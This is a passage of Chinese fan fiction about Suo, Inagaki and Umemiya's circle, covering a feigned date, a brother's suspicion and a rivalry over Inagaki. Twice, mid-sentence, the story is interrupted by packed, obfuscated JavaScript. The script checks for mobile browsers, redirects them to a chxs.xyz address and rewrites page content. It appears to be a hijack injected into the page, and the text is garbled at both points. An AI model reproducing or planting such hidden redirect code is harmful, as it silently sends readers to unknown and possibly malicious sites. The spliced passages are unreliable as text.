“小稻,跟我讲实话,你是不是进地下街了?”梅宫的语气一如往常,温厚敦实,能把所有万劫不复的下坠一把托牢——然而,苏枋生生感受到一股无端的情绪在疯狂滋蔓。 是恐惧,庞大的、如有实质的恐惧铺天盖地压下来,叫他一时间透不过气来。他错愕地望向稻垣,不理解为什么如此脆弱的情感会具备这样压倒性的统治力和攻击性。 他不懂稻垣何以如此恐惧——更甚者,他还有些拿不准,梅宫真的生气了吗? 没想到柊一脸如临大敌:“喂,梅宫,你别吓她!” “没有啦——”梅宫叹了口气,捋起滑落额前的头发,“我这不就是普通地问一下吗?” “你还说没有,你就是吓到她了,梅宫你是看不见自己什么脸色啊?!”柊至今对几年前那场摧枯拉朽的兄妹吵架心有余悸,深知稻垣进地下街这事就是个炸弹,一点就爆,周围的人都得跟着剐一层皮下来,他威胁道,“你要是再把她吓哭,回头自己去跟梶交代。” 梅宫瞪大眼睛,十分不解:“谁跟谁交代?我是哥哥吧!大哥凭什么要跟前男友交代啊!” 柊看上去想骂人。 “好啦好啦,我这不是着急吗?”梅宫平日里做事不拘小节,时不时不着调,但也并非不懂分寸,“最基本的事实总要搞清楚吧!” 而苏枋认为问题不在梅宫。 在稻垣。 她低着头不响,埋在臂弯里的手死死掐着自己的肋下,拼命克制自己。 “小稻,我最后确认一遍:你没去地下街吧?” 这个平常的提问不知为何就在苍白温和的夜色浸润下莫名变得凶险万分起来。 梅宫握住了她的手,她死死攥着手心,生怕梅宫发现里面窝着潮腻的冷汗。 “小稻,要是发生了什么,一定要告诉我,好吗?” “我,我……”稻垣的喉口微微抽搐了一下,挤出变了调的音节。她情不自禁抬手抚触自己的脖颈——那里快要发不出声音了。 …… “稻小姐没去地下街。” …… 苏枋蓦地开口,打散了这凝滞得快要滴下水来的空气。 柊明显愣了一下,没想到他会插话。梅宫则不咸不淡地反问:“没去?那怎么这么晚了还在这一带逗留——这里离小稻住的地方可不近啊。” “我们一起散步来着。”苏枋面不改色地扯谎。 梅宫定定地看着他,然后咧嘴一笑:“很遗憾,苏枋,我们小稻不是会和异性朋友大晚上一起出门散步还不回家的人哦。” 苏枋暗自叹了口气,唇齿略一开合,举重若轻地吐出一句让梅宫和柊瞬间变了脸色的话来。 “是约会。” 他不疾不徐地踱到病床边,游刃有余地抬起手,摁住了她颤抖的肩膀,抬起脸悠然一笑。 “我和稻小姐在约会—— “这个解释,梅宫哥能接受吗?” 22. 冻原野火 “约会”一词一出,形同一记重锤把在场几个人抡得人仰马翻。 柊倒抽一口冷气,五官当场扭曲了。 “……约,约会?”梅宫也傻眼了。 “我之前跟您打过招呼了吧?”苏枋行得正站得直,两袖清风一身坦荡,嘴皮子上下一碰就来,“我说了,我多半要撬梶哥墙脚——难不成梅宫哥当我说笑的?” “不是……我知道苏枋你是认真的,可是你这——”梅宫也一脸后知后觉的害怕,他瞟了一眼稻垣,又把视线拉回来,“你这动作也太快了吧?!” “嗯——我是行动派哦。”苏枋无动于衷地微笑。 柊受不了了,一边掏胃药一边嘴里不住地叽里咕噜:“要死啊要死啊这是要死啊真是要死啊——这说的都什么话!梅宫你给我把这件事解释清楚!!” “柊你别激动你快把药片捏成粉了!!” “这里是病房,请保持安静。”——被巡房路过的护士用嫌恶的语气冷冰冰地警告了。 柊摁着梅宫点头哈腰又吃了一顿不轻不重的数落,转回头来时已身心俱疲。柊盯了苏枋一会儿,苏枋依旧一副纯良无害的表情贴在脸上,密不透风——这个多闻众一年级的副级长他既不了解也捉摸不透;其他愣头青也就罢了,为什么偏偏是苏枋掺和到这麻烦的局面里来了呢?柊收回视线,更感心累。他看向稻垣:“小稻,我没打算反对什么,只想确认一下……你是认真的吧?” 稻垣没抬头,闷声道:“我是那种喜欢随便玩玩的人?” “我不是那个意思——麻烦死了,这要怎么讲……”柊按了按额角,“啧,这事你告诉梶了吗?” “……还没有结论的事没必要到处宣扬。”稻垣这么说了,柊就不再多言。 梅宫突然抓住了话里关键:“等等,没结论……只是约会而已啊——两个人出来散步聊天嘛,小稻,苏枋,你们还没交往,对吧?” 苏枋用一个意味不明的笑把这个问题挡回去,将主动权交到稻垣手中。 他已经放下原则豁出脸面帮她遮丑,总不见得最后这一锤还要他来动手吧?那她也太没担当了。 稻垣只要如实相告就行了——说她对他没兴趣,就算答应了一次约会也没能下定决心正式交往,她心里对梶有留恋,果然还是没法接受别人。 她只要说实话,就可以把今晚发生的一切当成一个暧昧不清的尝试盖过去——然后,苏枋就可以正式结束这段让人心里泛出腻味的单恋。这是顺水人情,也是他最后一次纵容稻垣,毕竟和梅宫比起来他可能还不够宽容,但他足够识趣。 在梅宫和柊的注视下,稻垣不动声色地抹了一把额角,将碎发别到耳后,苏枋清楚地看见几缕汗湿的头发被她巧妙藏进鬓角。 稻垣抛出了一个气质淡泊的回答,苏枋直接愣住了。 “我也是时候走出过去的阴影,试着往前走了——对吧?” 柊气不打一处来,又叮嘱了稻垣几句后,拽起梅宫的衣领就要把他这个碍眼的电灯泡拖走;梅宫感动得眼含泪花,在一阵“你终于想通了吗,小稻!现在开始再度享受青春也不晚啊啊啊啊!”的哭天抢地中被柊推出病房。 离开之前,他倏地叫住苏枋。 “苏枋。”“啊……在。”苏枋有些恍惚。 梅宫的眼角眉梢又恢复了往常的松弛:“小稻已经被我们宠坏了,你啊,不用太惯着她。” 苏枋一时间还真有点分辨不了梅宫这话是在点他还是真心的。 苏枋微阖了眼,调整情绪,从容应下:“好的。” 梅宫和柊走后,稻垣脱力倒回枕头上,显出一脸倦容。 苏枋把椅子拉近一点,重又坐下,自我检讨道:“我是不是让稻小姐为难了?”稻垣反问:“不是应该我感谢你不惜牺牲名节包庇我吗?” 她想半开玩笑地把话题岔出去,苏枋不肯遂她的意:“我不该叫梅宫哥来的,对不起。” “我和你之间是存在一个互相冒犯有来必有往的道歉局吗……”稻垣不禁犯嘀咕,“我是……第几次说这话了?苏枋,你真的很聪明。你这个年纪的男孩子,少有这种洞观的能力。” “我要是真有稻小姐夸得那么好,就不会一次次把事情搞砸了。”“为人谦虚这点也不错——虽然你平时多半是嘴上客气一下,心里还是很自以为了不起的。” 苏枋很无奈:“别拆穿啊。”稻垣很严肃:“是在夸你。” 也不知道她是累了,还是仍在为之前威胁他的事心虚,抑或真的没放在心上,眼下的稻垣格外没脾气。 或许是她这份泰然自若的态度,让苏枋生出了开口的勇气。 “稻小姐,我能问个问题吗?”“你问吧。” “稻小姐国一进地下街那次,发生了什么……”他顿了一下,头一回在组织语言时感到棘手,“不好的事吗?” “会有这种疑问也很自然呢。”稻垣轻笑,她沉默片刻——苏枋不确定她是在回忆还是在构思,然后慢条斯理道,“一个未成年女孩,手无寸铁、孤身一人进地下街捞钱——关键是前不久刚赢走一大笔钱出尽了风头,闹得人尽皆知,要不是警察来了差点收不了场。事情还没过去多久,她就敢大摇大摆二进宫,分明是不把地下街的大庄家和老板们放在眼里,偏不巧还被人认出来了——” 她调整了姿势,转过来面对苏枋,绿森森的眸子转进苏枋眼底:“苏枋,你觉得,一般来说,这种情况下,会发生什么事?” 苏枋在她的讲述中呼吸一窒。稻垣抬起手虚虚掩在嘴边,唇瓣无声开合,苏枋透过她指间缝隙读到她的唇语。 …… …… …… 没有一个好词。一个比一个可怕。和他的预想完全吻合。苏枋如堕冰窟。 “稻小姐……!”他回过神来时自己已经起身凑到床沿,握住了她搁在被子上的手。触感细腻滑润,只是泛着一股潮湿的冷意。 稻垣举重若轻,一句话敲醒他:“别乱想,没发生那么可怕的事。” “可是……”苏枋第一反应是她在撒谎。 倘若没发生,她不会在梅宫面前流露出那种近乎创伤应激的恐惧。 “真的没有。”稻垣信誓旦旦,“我逗你玩的。” 苏枋皱眉,他不信。稻垣叹气,她撑起上身,竖起一根手指隔在二人之间:“我告诉你一个秘密吧,苏枋。这件事只有梅知情,连梶都不知道哦。” 她像个关起门来背着所有人偷偷和他分享唯一一块小蛋糕的小朋友。 苏枋更不高兴了——她又跟他玩这种心眼。 “地下街二进宫那次,我不是毫无准备就自己一个人去的,有人保我出来,虽然过程惊心动魄了一些——我跟人在牌桌上赌命。”稻垣眨眨眼,“好在我赢了。所以,没发生什么实质性的坏事,我最后全须全尾地跟着梅走了——什么坏事都没发生,别想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059624|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太多,好吗,苏枋?” “真的吗?”“真的。不然我不可能那么坦然地再进地下街——我在你心里真的是那种铁石心肠到可以随便作践自己的人吗?” “那稻小姐为什么这么害怕,您刚才在梅宫哥面前都快昏过去了。”稻垣讪笑两声:“没那么夸张吧……”“有。”苏枋不放过她,“我不开口的话,感觉稻小姐马上就要吐了。”稻垣扶着额头:“确实是有点恶心想吐……我是很害怕,毕竟那件事还是太冒险了,行差踏错万劫不复,就算是我也是会后怕的。而且……” 她停顿了一会儿,神色难掩哀伤:“那次也给梅宫留下了不小的阴影,我不想再让重视的人为我难过。” 她仿佛在说,她因自己天生瘠薄无以为报,承受不了他者太过沉重的感情。 苏枋知道稻垣不愿多提,也就不再追问。 “以后别再去了。”他捏紧了她的手。“嗯。”她轻轻回握了一下。“我不会再纵容稻小姐了——梅宫哥刚刚都特意关照了。”“好——一直以来给您添麻烦啦。”她反过来讲敬语。 苏枋喉头一滞,怅然道:“可是那样一来,我就没机会再和稻小姐见面了。” 稻垣觉得好笑:“苏枋,我又不是什么隐世高人——你想见一个朋友,散步的时候多转个弯,就会见到的。” 苏枋听得一阵心梗。 算了,根本没有什么退而求其次的选项,再合得来,他也不可能和她当朋友。 她以为她在他心里是什么样的人? 得不到会念念不忘的那种人啊。 她身上有很多彼此矛盾的成分杂糅在一起,明明也没有很难懂,但就是时不时会出人意料。她胆大包天,从不惮于孤注一掷,与此同时又行事谨慎,惯于缜密筹谋。明明脆弱得经不起稍有一点粗糙的触碰,尖锐的部分又轻易将人刺伤。骄矜冷漠和赤诚热烈共存于此,远观是河川上闪烁虚浮的波光,凑近一瞧才发现是烧在冻原上的野火。 苏枋不慎陷于探究这种矛盾感由来时旺盛的好奇心,不敢论断自己究竟是为什么所吸引。感情泛滥的那一刻云泥也不再有别,他徒然被淹没,无从区分。 苏枋松开了她的手,退回去坐下:“一般没有正当理由的话,会很难开口的。”稻垣的嗓音和缓而温柔:“你想见我,这就构成理由了。” 嘴上说得好听。苏枋心想。他挑了挑眉:“稻小姐是这么好说话的人?”她立马端出一脸无辜:“我在朋友面前一直很好说话的。” 苏枋又被她搞得卡壳,深深叹出一口气:“真是的……换一种方式拒绝我,我就不会伤心了吗?” 这话已经算不上委婉,而稻垣凝视着他,嫣然一笑,直接点穿:“苏枋,要是能同时喜欢上两个人的话,我肯定会第一个考虑你的——” 她总是夸他聪明,因为她喜欢和聪明人处朋友——但她只对梶莲那样的人倾心。 她戒备心太强。 “只是,”稻垣由衷哀叹,叫人明白坦诚是一旦摆上台面就必须得偿所愿的价码,“喜不喜欢这种事,身不由己的。” 苏枋心里一砚浓墨又被打翻,里外染透,滴滴答答,漆黑无底又渗出湿淋淋的静默香气。 “想见面,就给我发消息吧。喝茶聊天散散步这种活动,我是不介意奉陪的——凑得出一桌人的话,也可以打牌。” 稻垣笑了笑。 “毕竟我们现在是在约会的关系,对不对?” 23. 让位 柊来通知梶最近不必再接稻垣上下学时,梶对发生了什么还一无所察。 “你好歹是级长,巡逻露脸的次数太少不好吧?” 柊摊出这种模棱两可的理由,梶诚恳接受批评:“柊哥说得对,我知道了。” 柊无语了,心说他好歹怀疑一下呢?但他心知肚明梶是不可能怀疑他的,毕竟梶很尊敬自己——梅宫就是看准了这点,才叫他出面的。 梅宫素来不去左右稻垣的想法,她想干什么都随她开心,这回偷偷掺和她的感情问题堪称史无前例。不过,柊倒也微妙地能理解他的考量。 “不管怎么看,苏枋的赢面都太小了嘛,梶一直黏着小稻,小稻也总是揣着明白装糊涂,这样不行,不能放着不管——这次既然小稻本人都松口要翻篇了,那就让弟弟们公平竞争!”于是,他指使柊去把梶从稻垣身边支开,口口声声说要创造一个少年们公平竞争的环境。 柊听了一个头两个大,心想梅宫真是疯了搞这出——他做了很久心理斗争,真心不愿意蹚这趟浑水。 若问梶和苏枋这两个人,柊能不能做到一碗水端平不偏不倚,那答案是绝对不可能,梶毕竟跟他有多年交情在,苏枋根本比不过。 可是在稻垣这件事上,柊还真就不情愿偏心梶。在柊看来,梶把稻垣的付出看得过于理所当然了——梅宫还说他们太惯着稻垣,其实这群人里,谁都没稻垣惯梶惯得厉害。 谈恋爱全靠稻垣主动也就算了——哪有分手这么久了还为前男友守贞的? 梶就更不着调了,有人要上位,叫他把位子让出来,他一丁点危机感都没有——梶在这些事上的嗅觉几近于无,一方面是脑子里天生缺那根弦,另一方面也是因为谈恋爱的时候稻垣安全感给得很足,他从未有过吃醋的经验,不曾体会过和情敌竞争上岗是多么糟心的感觉。 梶就是被宠爱太过了,真等被人撬了墙脚,有他哭的。柊打心底里觉得,是该让他摔一跤好好长长教训了。 “咳,总之,接下来小稻的护送工作交给一年级,四众轮班。这是梅宫的意思,想借这个机会让一年级正式认识一下小稻,再怎么说,她也是防风铃背后最大的资助人——你也可以分出精力去做别的事了。” 这个理由怎么听都是在鬼扯。要把作为防风铃金主的稻垣介绍给风铃的一年级生,找个集体活动的场合露一下脸打个招呼就好了,哪有以一对一护送这种形式让人认识的——梅宫摆明了是在给所有一年级平等地制造接触稻垣的机会,他甚至不肯稍微偏袒苏枋。 “噢,好。”梶还是毫无反应。 柊试图委婉地点醒梶:“一年级应该也会很乐意吧,他们有不少人早就想认识小稻了。” “稻不会去结交其他男孩子的。”梶对此态度淡漠,那股在他身上极为少见的、江流石不转的沉静和稳重令柊头皮发炸。 “梶——你啊……也太,太自信了吧!”他甚至结巴了一下,“小稻跟你可是早就分手了,就算你们感情再好,也一直没有复合吧?那小稻就是单身,要另外找个人交往也很正常啊,有多少人觊觎她你是心里没数吗?” 柊觉得自己的话已直白得有戳人痛处之嫌,没想到梶刀枪不入。 “无所谓。稻答应过我,只要我还喜欢她,她就不会和别人在一起。” 柊听了险些两眼一黑:“你还喜欢她干吗不提复合啊?!” “我没打算复合。”“哈?!”“稻应该也没这个想法——这一点,我们早就达成共识了。” 那你还这么心安理得一直占着她啊?!柊嘴角连连抽搐,好容易才忍住没有破口大骂。 年少轻狂,总以为自己所见所闻所有就是天地。可是天地多大,人生多广阔,时间多深远,他们都一无所知。以柊略显老成的心态来看,梶的固执和自信都太可笑了一点,可他又不忍苛责——事情演变成如今这个局面,该负责任的又不止梶。 被偏爱的固然有恃无恐,稻垣又能是什么清白无辜的好人了!还不是她一味纵容梶才搞成这样的。 梶大概是觉得自己有在保持距离了——毕竟论起从前,他们可比现在更亲密;可在他人看来,他俩分明还是一副不容插足的氛围。 柊怎么品都不是滋味,气不打一处来,只是本着幼苗要长者呵护、人生不易少走弯路的理念,最后一次提点梶。 “梶,我把话说在前头:你仗着小稻对你感情深就不考虑这些问题,过去这么做无可厚非;可你就没有想过,以后可能会出现一个人,他对小稻的感情会打败她对你的顾念,到了那时候——你要拿什么反击啊?” 青梅竹马又怎样,感情深厚又如何?情深意重并非可遇不可求,他们这些人里,又哪一个是不重情义、会吝啬自己感情的?可遇不可求的,最需要珍惜的,难道不是这个人本身吗? 柊恨铁不成钢:“到了那一天,你就自己一个人躲起来偷偷哭去吧!” 榆井在班级里张贴更改后的新排班表,不出意外引起轩然大波。 “什么?轮流去接送强运姬上下学?”“这种好事大家都有份?!”“谁啊那是?”“你居然不知道强运姬是谁吗?你这家伙这辈子都不会被好运眷顾了!”“哈?到底谁啊?!”“赌桌上的不败传说。”“绝大多数镇上少年的暗恋对象或前暗恋对象。”“资助我隔壁家姐姐上私立大学的大金主。”“防风铃ATM。” “梶哥的前女友。” ——不知谁脱口而出了禁语,气氛一下子凝固了。 “……怎么了?” “笨蛋!”“愚蠢!!”“谁让你提这茬啊?!”“不准随便议论二年级级长!!” 嘴上不带把门的倒霉蛋遭到一顿正义暴捶。 “榆君,你被叫去开副级长的碰头会,原来是为的这事啊。”苏枋不理会那厢喧嚷,望着新的巡逻排班表,陷入了沉思。 他嗅到一丝微妙的气息。这个安排绝对不是无缘无故做出来的,把梶从稻垣身边拿掉,让全体一年级轮流护送——偏偏还发生在他包庇稻垣,谎称是在和她约会之后。 这难不成是…… “嗯,是柊哥和其他三众打过招呼后布置下来的。”榆井对此事的前情一无所知,只是原样传达了副级长碰头会议的会议精神,“梅宫哥希望把稻姐姐介绍给一年级新生。考虑到梶哥每天接送稻姐姐很辛苦,于是安排一年级接手稻姐姐的护送工作。” 苏枋脑子里蹦出一个念头:果然,是变相联谊。 这个安排虽说是把梶从稻垣身边调开了,但苏枋一点都高兴不起来——梅宫不是想帮他打掩护,他是实打实地一视同仁给所有人机会。 苏枋不由得揣度,梅宫可能已经识破了自己的谎言,只不过由于稻垣本人说了“是时候往前走”——他才轻轻放过,然后当真给稻垣把路铺平了,叫她想往哪儿走往哪儿走。 再说了,他要出手哪里用得着梅宫帮他制造机会,稻垣都已经答应他想见面的话随时都可以和他见面了! 这时,杏西走到榆井身边:“榆井,明天排了我去接送强运姬,我跟那个人一点都不熟,所以要确认一下:我只用早上去接她送到车站、放学的时候再去车站接她然后送回家就可以了,对吧?“ “是的,不过只需要接送到稻姐姐家附近就可以了,地址我会发给你,就是那条种着楝树的小街。”杏西看上去松了口气:“也是哈,根本就不认识的人,一上来就要接送到家也太奇怪了。还有其他要注意的地方吗?” “啊……这个嘛,”榆井想了一下,“稻姐姐身体不好,不能太劳累,所以请尽量在步调上多多配合她——以及稻姐姐对刚认识的人可能会比较冷淡,请别在意,她性格是比较怪啦,但她没有恶意的。”杏西点头:“好,我明白了。” 榆井笑道:“哈哈,谢谢你这么仔细地确认,杏西同学一直都很为别人着想呢。”杏西不好意思地挠挠头:“我习惯啦,可能因为我那两个发小性格都挺纤细,我不多注意一点不行啊……” “是长门同学和土屋同学吧!”榆井顺着他的话头问候杏西的朋友,“说起来,他们二位最近怎么样呢?”“他们两个……”杏西蓦地露出愁容,欲言又止,“最近有点怪怪的。” 一直在旁边支着耳朵听他们谈话的苏枋插话了:“怎么,KEEL又找长门君麻烦了?”“那倒是没有,总感觉那两个人好像背着我在为什么事发愁啊……”杏西苦恼道。 “一个人苦思冥想也不会有结果的。”苏枋提醒道,“要好好沟通哦,你们关系那么好,总不会再像上次那样了吧。” “哎,苏枋说得对,我会找机会和他们聊聊的,总会有办法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059625|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的!” 几日后的早晨。苏枋踏进教室,就听见扎堆闲聊的同学们迫不及待地开启了交流会。 桐生:“稻姐姐那天帮我单抽出了限定稀有卡哦——强运名不虚传。” 柘浦:“强运姬看着那么瘦弱,但对健身理论很在行啊!推荐我的护具很好用!” 最激动的是杏西:“稻垣小姐太厉害了,她什么都知道!脑筋还特别好使!” 众人问起,才知道原来是杏西去接她那天,为着长门和土屋的异常心情很不好,多少有些挂脸,稻垣便随口探问了几句。杏西也不隐瞒,和她详述了自己两个发小最近的异常,包括之前为了把长门捞出KEEL,樱领着一个班出去打群架被围、最后梶来救场的事。 稻垣思考了一下,得出了结论:“长门在学校里被欺凌的概率大概是90%吧。” “欸?”杏西一愣,“被欺负?长门吗?” “对。”稻垣点点头 ,“长门是个很温柔,直白点说性格有点软弱的人吧。在你们这群不良眼里,有隶属的组织是挺酷的一件事吧?但是他明明是自己加入了名声很大的KEEL,却因为在那个团体里生存不下去,自己也没有能力脱离,最后还是防风铃介入,把他带走的——如今长门在自己学校的境地是无依无靠无背景的人,在他的同学眼里也是没什么本事、软弱可欺的对象。综合你的描述和一些细节来推断,我认为他很大可能是在学校里被找麻烦了,不过没到多严重的程度;而且,他只把这件事告诉了土屋。” “哈?!为什么只告诉土屋啊!”杏西很生气,“我们三个说好以后有事都要一起面对的!” “因为上次的KEEL事件让他们有了顾虑。你为了给长门出头,把整个班级都牵扯进去了吧?长门和土屋嘴上不说,心里肯定多少有些愧疚。 “一方面是顾虑你,另一方面也是想要证明自己吧。毕竟同和KEEL这样的组织对抗比起来,在学校里受到欺凌对于长门来说已经算不上大问题,他们也想尝试靠自己的努力解决问题,就像当时的你一样。” “为什么啊?!我上次的做法——恰恰证明了只靠自己行不通啊,要不是樱强行插手帮我,长门早就生不如死了,可能连我自己也……!” “一种意识底层的模仿——他们非常信赖你。”稻垣似笑非笑地瞥了杏西一眼,“比起长门和土屋,你已经有所成长,他们潜意识里想要追上你,具体要怎么做却摸不到门道,毫无头绪的情况下,就下意识地模仿你了。” “那,我该怎么办呢?”杏西忍不住向稻垣讨教,“总不能就这样放着不管。” “虽然我是觉得这种程度放着不管他们自己也能处理好,不过既然你坚持……”稻垣端着下巴,沉思了片刻,转手从包里掏出了手机,“长门那个学校里,比较出名的人,你知不知道一两个?” “欸?”“推特、校园论坛、匿名版……什么都行。”“噢噢,那我姑且是知道一两个人的推特……” 杏西和稻垣在公园的长凳上坐下来,一坐就是两个小时。稻垣的思路很清楚,从表演欲旺盛的校园名人的推特入手,沿着关键字检索和关联推送顺藤摸瓜,一路挖出了欺凌长门的小团体的活动迹象,一番比对后找到了中心人物和所有参与者。 “这种人就是表演欲很强呢……”稻垣自言自语道,挨个保存了这些人分享在网络上的照片,她一边整理归纳信息,一边嘱咐杏西,“你这几天放学后没事就去找长门玩,带土屋一起,三个人在学校附近多露露脸。对他们两个人,什么也别问就装不知道,玩就行了,玩得开心点;有余裕的话,再多叫几个人一起去,要给别人留下长门交友广泛很受欢迎的印象——总之,要告诉他们,长门身边是有朋友的。” “玩?只用这样吗?”杏西困惑地挠挠头,“我只要……去找长门玩就行了?” “嗯。”“可是,突然毫无理由地去找他们会不会很奇怪?”杏西面露犹豫。 稻垣抬起头,粲然一笑:“想和朋友见面需要什么理由吗?不就是散步的时候多转个弯就可以相见吗?” 杏西被她的笑容晃得一时有些愣神:“啊……说的也是。” “你就把心放肚子里,去找他们玩吧。”稻垣挥挥手,大包大揽道,“剩下的交给我,放心——这事很快就过去了。” 24. 不想说再见 “后来呢后来呢?”“结果怎么样了?” 多闻众一年级的目光都汇聚在杏西身上,催他抓紧讲述后续别吊人胃口。 “长门说,没几天,学校里那些人就不再找他的茬了,还用一种畏惧的目偷偷摸摸看他——也不知道稻垣小姐用了什么手段,光速起效啊!总之,现在渐渐也有人开始跟长门搭话了,我和土屋都放心了!”杏西伸长脖子找寻榆井,“啊,榆井,你知不知道稻垣小姐有什么喜好?我想准备一份谢礼!” “稻姐姐的喜好啊,请稍等……”榆井闻言,低头开始翻笔记本,“不过我记得稻姐姐从不收人礼物来着……” “这样啊。”杏西讷讷道,“倒也是啊,送礼物是太突然了,可我确实想好好感谢她……”苏枋轻飘飘地建议:“下次轮到杏西君接送的时候,带一罐罐装绿茶去就好了——杏西君的谢意,她能领会的。” “咦?一罐茶饮就行吗?”“对于刚认识的人来说,是恰好到处的谢礼吧?不贵重,也足够传达心意了,对于对方来说,也能不带负担地轻松接受。”“噢……好,听你的!谢啦,苏枋!”“客气。” “说起来,我昨天送强运姬回家的时候,半路去买饮料,连中七个再来一瓶,喝都喝不完,顺手分给便利店的其他客人了。”“真的假的?那我下次可以拜托她跟我去买彩票吗?”“当然不行!还没到年龄,你小子动什么歪脑筋呢?!” 话题很快又被带跑了,多闻众一年级纷纷开始期待接送强运姬时会发生什么运气爆棚的好事了——当然,不止好运眷顾,她还接受各类商谈,对男孩子们生活中遇到的各类烦恼都能亲切地给出对策和建议,俨然一位见多识广、经验丰富的咨询师——至于稻垣到底采取了什么立竿见影的措施解决了长门的困境,也不再有人关心了。 【这种纠纷,处理的方法有很多。】 【不过我选择了最简单且见效快的一种。】 【我在网上给KEEL匿名递了委托。】 【稻小姐居然找KEEL了?】 【嗯,我付了他们一笔钱。】 【随便找了个由头,让他们把欺负长门的人一个不漏揍了一顿。】 苏枋哭笑不得。 确实,让KEEL去收拾欺负前成员的人,没有比这更管用的了。KEEL拿钱办事;欺负长门的人会因此忌惮长门,分辨不了他脱离团体是真是假;长门和土屋对此一无所知;杏西不用出面就解决了问题,单论结果诚然皆大欢喜。 可她怎么开始掺和这种事了?受了什么刺激性情大变了? 苏枋想起,学校里杏西和其他同学谈论稻垣时,居然说她耐心倾听他们的烦恼,平易近人,十分热心;苏枋旁听,哈哈一笑附和,是噢。 稻垣不梦平易近人,热心亲切。 ——大白天见鬼。 【稻小姐之前说,如果我想见一个朋友,散步时多转一个弯,就能见到了。】 【嗯,是啊。】 苏枋停住了脚步,仰头望去,苦楝的桠杈间已满盖翠绿。 【那我辛苦绕了这么远的路,不知她是否愿意见我一面呢?】 稻垣看见消息,怔了一下,从椅子上起身,探出阳台栏杆,一眼就看到街边树影下衣袂飘扬的少年。 他像是感受到她的遥望,收起手机偏过头来,冲她露出一个婆娑摇曳的微笑。 稻垣朝他挥了挥手,示意他在那儿等她,转身进了室内。 没几分钟,苏枋就看见稻垣换了件长裙下来,踩着低跟的鞋子步履轻盈地向他走来。 六月中旬,雨季将近,溽暑难消。可一见她,便觉凉风过身,周遭清爽——之前他还觉得她像积雨云,而今雨季将至未至,对她的感受却又变了。 稻垣问他:“怎么过来了?有事吗?” 苏枋温声道:“没事。就是想见稻小姐了。” 没有事由,唯有心情而已。再者她自己不都说了,“想见面”足以构成理由。 “噢——那一起走走吧?”“好啊。” 苏枋走路习惯落人半个身位,方便应对各种突发状况,但稻垣渐渐地有意和他并行。他不太习惯,有点怀念以前那个我行我素的大小姐。 “稻小姐最近在一年级生中间风评很好呢。”“嗯?”“都在议论您耐心倾听大家的烦恼,还会给出简洁有效的建议,帮大家解决问题什么的。” “噢,是有这么回事……”稻垣也有些迷惑,“是从那个叫杏西的男孩子开始的吗?一个个不知道怎么搞的,都来找我商量碰到的麻烦。倒也不是什么大问题,我也不至于那么冷酷无情,就顺道帮他们想想办法。” “稻垣万事屋?”苏枋打趣道。“才不是。”稻垣一脸嫌弃地昂起下巴,拿腔拿调,“这是稻垣不梦,正经高中生,请不要遇到什么麻烦事都来找她,谢谢——尽管她会帮你就是了。” 苏枋抿了抿嘴角,浮起一丝微妙的笑来:“能不能不要对大家都这么好呀,稻姐姐之前可不是这种作风。”稻垣耸耸肩:“我答应了梅,要和一年级好好相处的。” “有必要对每个人都这么上心吗?”“还好,举手之劳。” 苏枋少有这种被堵得气顺不上来的时刻,一方面又对这种新奇的感受产生了一种宁静的达观。 稻垣总有她自成体系的一套价值判断,他很难归纳她确切的评价标准,不过苏枋已经习惯了这种探索带来的随机性,不管结果是惊喜、意外或是单纯让人恼火,一律归为苦中作乐。 苏枋心里又泛起一股似曾相识的腻味,就和医院里她试图威胁他时情绪里翻荡起来的潮涌无甚两样。他现在明白过来,那潮涌的真身无疑就是一种难以启齿的不甘心,少年人尚未被荷尔蒙和多巴胺驯服的自尊和脾气。 当时没反应过来,而今认识到了,就没法再心安理得对她甩脸色。 苏枋叹了口气。稻垣察觉到他情绪轻微的起伏,眼风转过来。 苏枋故意说给她听:“稻小姐还真是嬗变啊。”稻垣张了张嘴,空口吞下一段惊叹:“你居然当面讲出来?真不客气啊。” “我还以为我在稻小姐这里多少是有一点特权的。”“有一点,不多。”苏枋移开了视线:“又在敷衍我呢。”“……你怎么也变得难伺候起来了。”稻垣翻了个白眼,“苏枋,除了你,有谁能不打招呼跑到我家楼下说见我就见我的?” 苏枋直觉眼下不怎么适合再谈那个晚上的事,但他此刻罕见地有点想破罐子破摔:“稻小姐觉得我难搞么?那天在医院里对梅宫哥他们讲实话的话,眼下就不必这么麻烦了。” 这话故意讲得不清不楚,时机也突兀,但稻垣一下子就听懂了:“我知道,那个时候,如果我否认说没在交往或者不打算交往,你一定不会再和我有任何瓜葛了。” 苏枋索性承认:“是哦,稻小姐没否认的确超出预计——我本来是打算就那么和稻小姐说再见了。” 她飞快接口:“可我还不想和你说再见。” 苏枋哽住了。 “什么……?”她依旧无波无澜:“字面意思。”苏枋的喉咙都有些发紧:“把话说清楚。” “很难懂吗?你都为了包庇我在梅面前放下脸面撒谎了,我难道还能过河拆桥?我做不出那种事,也不想欠这么大人情。”她的语气还算温和,落在耳朵里却透出说一不二的果断,仿佛她决定的事就不容他人置喙,“所以,我不会和苏枋就这么说再见的。” 她的话严丝合缝,抑扬顿挫的节奏又平白带起一阵短促又深入的坠落感,是如鱼入水还是石沉大海也未可知。苏枋一瞬间觉得五感失去明晰,光影重叠模糊了边界——反过来想想又清楚自己早也看穿,并未真的期待什么。 江山易改本性难移,稻垣若真那么容易变心转性,那倒又叫他苦恼了。 他轻叹一声,问:“所以,我们现在是在约会 